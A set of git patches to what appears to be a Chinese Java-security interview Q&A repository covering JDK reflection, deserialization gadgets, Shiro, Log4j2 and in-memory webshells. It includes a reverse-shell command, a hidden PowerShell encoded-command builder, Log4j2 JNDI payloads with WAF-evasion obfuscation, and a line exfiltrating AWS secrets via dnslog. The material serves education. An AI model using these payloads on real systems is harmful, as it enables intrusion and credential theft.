From de4856cad3978959cb5268bbbe97356cf4347e00 Mon Sep 17 00:00:00 2001 From: 4ra1n <34726933+4ra1n@users.noreply.github.com> Date: Mon, 14 Feb 2022 15:10:40 +0800 Subject: [PATCH 01/17] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 59f657c..d471b76 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ -作者技术水平水平,难免有错误之处,欢迎师傅们提出ISSUE和PR +作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR From 6e8c8b72fda8d85f9be7ba8b0aa8aeaac1e8d1fd Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:12:18 +0800 Subject: [PATCH 02/17] update --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d471b76..e966646 100644 --- a/README.md +++ b/README.md @@ -276,7 +276,7 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大 - 谈谈Log4j2漏洞(★★) -漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.loojup`导致的RCE。有几处关键问题,首先日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的一个绕过比较有趣 +漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 From 9300ebb462820a1adadc96f10c18a9fafa066519 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:15:08 +0800 Subject: [PATCH 03/17] update --- README.md | 319 ----------------------------------------------- java/README.md | 199 +++++++++++++++++++++++++++++ log4j2/README.md | 49 ++++++++ shiro/README.md | 53 ++++++++ 4 files changed, 301 insertions(+), 319 deletions(-) create mode 100644 java/README.md create mode 100644 log4j2/README.md create mode 100644 shiro/README.md diff --git a/README.md b/README.md index e966646..b6ecbc2 100644 --- a/README.md +++ b/README.md @@ -15,322 +15,3 @@ 作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR - - - -## JDK - -- Java反射做了什么事情(★) - -反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果 - - - -- Java反射可以修改Final字段嘛(★★) - -可以做到,参考以下代码 - -```java -field.setAccessible(true); -Field modifiersField = Field.class.getDeclaredField("modifiers"); -modifiersField.setAccessible(true); -modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); -field.set(null, newValue); -``` - - - -- 传统的反射方法加入黑名单怎么绕(★★★) - -可以使用的类和方法如下(参考三梦师傅) - -```java -ReflectUtil.forName -BytecodeDescriptor -ClassLoader.loadClass -sun.reflect.misc.MethodUtil -sun.reflect.misc.FieldUtil -sun.reflect.misc.ConstructorUtil -MethodAccessor.invoke -JSClassLoader.invoke -JSClassLoader.newInstance -``` - - - -- Java中可以执行反弹shell的命令吗(★★) - -可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64` - -```shell -bash -c {echo,base64的payload}|{base64,-d}|{bash,-i} -``` - -针对`Powershell`应该使用以下的命令 - -```shell -powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64 -``` - -这个特殊的Base64和普通Base64不同,需要填充0,算法如下 - -```java -public static String getPowershellCommand(String cmd) { - char[] chars = cmd.toCharArray(); - List temp = new ArrayList<>(); - for (char c : chars) { - byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8); - for (byte b : code) { - temp.add(b); - } - temp.add((byte) 0); - } - byte[] result = new byte[temp.size()]; - for (int i = 0; i < temp.size(); i++) { - result[i] = temp.get(i); - } - String data = Base64.getEncoder().encodeToString(result); - String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "; - return prefix + data; -} -``` - - - -- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) - -其实这个问题有点类似`JSP Webshell`免杀 - -大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等) - - - -- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) - -RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性 - -LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性 - - - -- RMI和LDAP的限制版本分别可以怎样绕过(★★) - -RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发 - -通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过 - -LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget` - - - -- 谈谈TemplatesImpl这个类(★★) - -这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用 - -一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的`defineClass`方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类,其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组,是被加载的字节码 - -通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法(getter)中调用了`newTransformer`方法,也是一个利用链 - -```text -TemplatesImpl.getOutputProperties() - TemplatesImpl.newTransformer() - TemplatesImpl.getTransletInstance() - TemplatesImpl.defineTransletClasses() - ClassLoader.defineClass() - Class.newInstance() -``` - - - -- 了解BCEL ClassLoader吗(★) - -BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目 - -该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码 - -但是在Java 8u251之后该类从JDK中移除 - - - -- 谈谈7U21反序列化(★★★★★) - -从`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足 - -```java -if (e.hash == hash && ((k = e.key) == key || key.equals(k))) -``` - -所以这里需要用哈希碰撞,让下一个`key`的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法,两个`key`对象不相同是显而易见的 - -接下来的任务是找到一处能触发`equals`方法的地方 - -反射创建`AnnotationInvocationHandler`对象,传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过`InvocationHandler.invoke`方法,在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法,会进入`equalsImpl`方法,其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用,通过`getOutputProperties`方法最终加载字节码导致RCE - -关于7U21的伪代码如下 - -```java -Object templates = Gadgets.createTemplatesImpl(); -String zeroHashCodeStr = "f5a5a608"; -HashMap map = new HashMap(); -Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; -ctor.setAccessible(true); -InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); -Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); -LinkedHashSet set = new LinkedHashSet(); -set.add(templates); -set.add(proxy); -map.put(zeroHashCodeStr, templates); -return set; -``` - -结合调用链 - -```text -LinkedHashSet.readObject() - LinkedHashSet.add()/HashMap.put() - Proxy(Templates).equals() - AnnotationInvocationHandler.invoke() - AnnotationInvocationHandler.equalsImpl() - Method.invoke() - ... - TemplatesImpl.getOutputProperties() -``` - -可以看到伪代码最后在`map`中`put`了某个元素,这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的,跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的,累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算,可以找到符合条件的碰撞值 - - - -- 谈谈8U20反序列化(★★★★★) - -这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过) - -在`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续 - -所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据 - - - -- 了解缩小反序列化Payload的手段吗(★★★) - -首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 - - - -- 待师傅们补充 - - - -## Shiro - -- Shiro反序列化怎么检测key(★★★) - -实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key - - - -- Shiro 721怎么利用(★★) - -需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间 - - - -- 最新版Shiro还存在反序列化漏洞吗(★) - -存在,如果密钥是常见的,还是有反序列化漏洞的可能性 - - - -- Shiro反序列化Gadget选择有什么坑吗(★★★) - -默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致 - -另一个CB1的坑是`Comparator`来自于CC,需要使用如下的 - -```java -BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); -``` - - - -- Shiro注Tomcat内存马有什么坑吗(★★★★) - -Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 - -解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载 - - - -- 有什么办法让Shiro洞只能被你一人发现(★★) - -发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 - - - -- Shiro的权限绕过问题了解吗(★★) - -主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` - - - -## Log4j2 - -- 谈谈Log4j2漏洞(★★) - -漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 - - - -- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) - -修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE - - - -- Log4j2的两个DOS CVE了解吗(★★) - -其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 - -另一个DOS是嵌套标签`${}`导致栈溢出 - - - -- Log4j2 2.15.0正式版的绕过了解吗(★★★) - -正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功 - - - -- Log4j2绕WAF的手段有哪些(★★) - -使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper`和`lower`标签进行嵌套 - -有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符 - -例如:`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}` - - - -- Log4j2除了RCE还有什么利用姿势(★★★) - -利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` - -在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 - -这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` - - - - - - - - - - - - - - - - - diff --git a/java/README.md b/java/README.md new file mode 100644 index 0000000..54610be --- /dev/null +++ b/java/README.md @@ -0,0 +1,199 @@ +## JDK + +- Java反射做了什么事情(★) + +反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果 + + + +- Java反射可以修改Final字段嘛(★★) + +可以做到,参考以下代码 + +```java +field.setAccessible(true); +Field modifiersField = Field.class.getDeclaredField("modifiers"); +modifiersField.setAccessible(true); +modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); +field.set(null, newValue); +``` + + + +- 传统的反射方法加入黑名单怎么绕(★★★) + +可以使用的类和方法如下(参考三梦师傅) + +```java +ReflectUtil.forName +BytecodeDescriptor +ClassLoader.loadClass +sun.reflect.misc.MethodUtil +sun.reflect.misc.FieldUtil +sun.reflect.misc.ConstructorUtil +MethodAccessor.invoke +JSClassLoader.invoke +JSClassLoader.newInstance +``` + + + +- Java中可以执行反弹shell的命令吗(★★) + +可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64` + +```shell +bash -c {echo,base64的payload}|{base64,-d}|{bash,-i} +``` + +针对`Powershell`应该使用以下的命令 + +```shell +powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64 +``` + +这个特殊的Base64和普通Base64不同,需要填充0,算法如下 + +```java +public static String getPowershellCommand(String cmd) { + char[] chars = cmd.toCharArray(); + List temp = new ArrayList<>(); + for (char c : chars) { + byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8); + for (byte b : code) { + temp.add(b); + } + temp.add((byte) 0); + } + byte[] result = new byte[temp.size()]; + for (int i = 0; i < temp.size(); i++) { + result[i] = temp.get(i); + } + String data = Base64.getEncoder().encodeToString(result); + String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "; + return prefix + data; +} +``` + + + +- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) + +其实这个问题有点类似`JSP Webshell`免杀 + +大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等) + + + +- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) + +RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性 + +LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性 + + + +- RMI和LDAP的限制版本分别可以怎样绕过(★★) + +RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发 + +通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过 + +LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget` + + + +- 谈谈TemplatesImpl这个类(★★) + +这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用 + +一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的`defineClass`方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类,其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组,是被加载的字节码 + +通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法(getter)中调用了`newTransformer`方法,也是一个利用链 + +```text +TemplatesImpl.getOutputProperties() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + ClassLoader.defineClass() + Class.newInstance() +``` + + + +- 了解BCEL ClassLoader吗(★) + +BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目 + +该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码 + +但是在Java 8u251之后该类从JDK中移除 + + + +- 谈谈7U21反序列化(★★★★★) + +从`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足 + +```java +if (e.hash == hash && ((k = e.key) == key || key.equals(k))) +``` + +所以这里需要用哈希碰撞,让下一个`key`的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法,两个`key`对象不相同是显而易见的 + +接下来的任务是找到一处能触发`equals`方法的地方 + +反射创建`AnnotationInvocationHandler`对象,传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过`InvocationHandler.invoke`方法,在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法,会进入`equalsImpl`方法,其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用,通过`getOutputProperties`方法最终加载字节码导致RCE + +关于7U21的伪代码如下 + +```java +Object templates = Gadgets.createTemplatesImpl(); +String zeroHashCodeStr = "f5a5a608"; +HashMap map = new HashMap(); +Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; +ctor.setAccessible(true); +InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); +Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); +LinkedHashSet set = new LinkedHashSet(); +set.add(templates); +set.add(proxy); +map.put(zeroHashCodeStr, templates); +return set; +``` + +结合调用链 + +```text +LinkedHashSet.readObject() + LinkedHashSet.add()/HashMap.put() + Proxy(Templates).equals() + AnnotationInvocationHandler.invoke() + AnnotationInvocationHandler.equalsImpl() + Method.invoke() + ... + TemplatesImpl.getOutputProperties() +``` + +可以看到伪代码最后在`map`中`put`了某个元素,这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的,跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的,累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算,可以找到符合条件的碰撞值 + + + +- 谈谈8U20反序列化(★★★★★) + +这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过) + +在`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续 + +所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据 + + + +- 了解缩小反序列化Payload的手段吗(★★★) + +首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 + + + +- 待师傅们补充 \ No newline at end of file diff --git a/log4j2/README.md b/log4j2/README.md new file mode 100644 index 0000000..18961e0 --- /dev/null +++ b/log4j2/README.md @@ -0,0 +1,49 @@ +## Log4j2 + +- 谈谈Log4j2漏洞(★★) + +漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 + + + +- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) + +修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE + + + +- Log4j2的两个DOS CVE了解吗(★★) + +其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 + +另一个DOS是嵌套标签`${}`导致栈溢出 + + + +- Log4j2 2.15.0正式版的绕过了解吗(★★★) + +正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功 + + + +- Log4j2绕WAF的手段有哪些(★★) + +使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper`和`lower`标签进行嵌套 + +有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符 + +例如:`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}` + + + +- Log4j2除了RCE还有什么利用姿势(★★★) + +利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` + +在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 + +这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` + + + +- 待补充 \ No newline at end of file diff --git a/shiro/README.md b/shiro/README.md new file mode 100644 index 0000000..6a83634 --- /dev/null +++ b/shiro/README.md @@ -0,0 +1,53 @@ +## Shiro + +- Shiro反序列化怎么检测key(★★★) + +实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key + + + +- Shiro 721怎么利用(★★) + +需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间 + + + +- 最新版Shiro还存在反序列化漏洞吗(★) + +存在,如果密钥是常见的,还是有反序列化漏洞的可能性 + + + +- Shiro反序列化Gadget选择有什么坑吗(★★★) + +默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致 + +另一个CB1的坑是`Comparator`来自于CC,需要使用如下的 + +```java +BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); +``` + + + +- Shiro注Tomcat内存马有什么坑吗(★★★★) + +Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 + +解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载 + + + +- 有什么办法让Shiro洞只能被你一人发现(★★) + +发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 + + + +- Shiro的权限绕过问题了解吗(★★) + +主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` + + + +- 待补充 \ No newline at end of file From fe5c27b8fe7e1927e4701b653723b3ddf6ab1559 Mon Sep 17 00:00:00 2001 From: 4ra1n <34726933+4ra1n@users.noreply.github.com> Date: Mon, 14 Feb 2022 15:16:43 +0800 Subject: [PATCH 04/17] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index b6ecbc2..a2ca2c8 100644 --- a/README.md +++ b/README.md @@ -15,3 +15,11 @@ 作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR + +## 分类 + +[JDK分类](https://github.com/4ra1n/JavaSecInterview/tree/master/java) + +[Shiro分类](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) + +[Log4j2分类](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) From 75d7f435857dc730ebd87005d66bd785c9921163 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:25:07 +0800 Subject: [PATCH 05/17] update --- README.md | 6 +++--- java/README.md | 4 ---- log4j2/README.md | 4 ---- shiro/README.md | 4 ---- 4 files changed, 3 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index a2ca2c8..226c943 100644 --- a/README.md +++ b/README.md @@ -18,8 +18,8 @@ ## 分类 -[JDK分类](https://github.com/4ra1n/JavaSecInterview/tree/master/java) +[Java本身的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) -[Shiro分类](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) +[Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) -[Log4j2分类](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) +[Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) diff --git a/java/README.md b/java/README.md index 54610be..613b9bb 100644 --- a/java/README.md +++ b/java/README.md @@ -193,7 +193,3 @@ LinkedHashSet.readObject() - 了解缩小反序列化Payload的手段吗(★★★) 首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 - - - -- 待师傅们补充 \ No newline at end of file diff --git a/log4j2/README.md b/log4j2/README.md index 18961e0..c16256b 100644 --- a/log4j2/README.md +++ b/log4j2/README.md @@ -43,7 +43,3 @@ 在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` - - - -- 待补充 \ No newline at end of file diff --git a/shiro/README.md b/shiro/README.md index 6a83634..dc25e19 100644 --- a/shiro/README.md +++ b/shiro/README.md @@ -47,7 +47,3 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大 - Shiro的权限绕过问题了解吗(★★) 主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` - - - -- 待补充 \ No newline at end of file From ff1a69fbf24f5088047fa4d0be4da949ad74e53c Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:53:31 +0800 Subject: [PATCH 06/17] memshell --- README.md | 2 ++ memshell/README.md | 51 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 memshell/README.md diff --git a/README.md b/README.md index 226c943..4e164c3 100644 --- a/README.md +++ b/README.md @@ -23,3 +23,5 @@ [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) [Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) + +[内存马专题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) diff --git a/memshell/README.md b/memshell/README.md new file mode 100644 index 0000000..869a035 --- /dev/null +++ b/memshell/README.md @@ -0,0 +1,51 @@ +## 内存马 + +- Tomcat和Spring内存马分别有哪些(★) + +Tomcat内存马有:Filter型,Servlet型,Listener型,Java Agent型 + +Spring内存马有:Controller型,Interceptor型 + + + +- Servlet/Filter内存马查杀手段是怎样的(★★★) + +直接能想到的办法是利用Java Agent遍历所有JVM中的class,判断是否是内存马 + +例如使用阿里的arthas分析,查看是否存在恶意的类名,然后删除 + +或者使用c0ny1师傅的java-memshell-scanner项目,从Tomcat API角度删除 + + + +- Filter内存马查杀时候有什么明显特征吗(★★★) + +首先是类名可能是恶意的,或者报名和项目名不符,可以一眼看出 + +其次优先级肯定是第一位的,这由内存马的特性决定,重点关注第一个Filter + +观察ClassLoader是否是不正常的,以及是否存在对应的Class文件 + + + +- 如何实现无法删除的Servlet/Filter内存马(★★★★) + 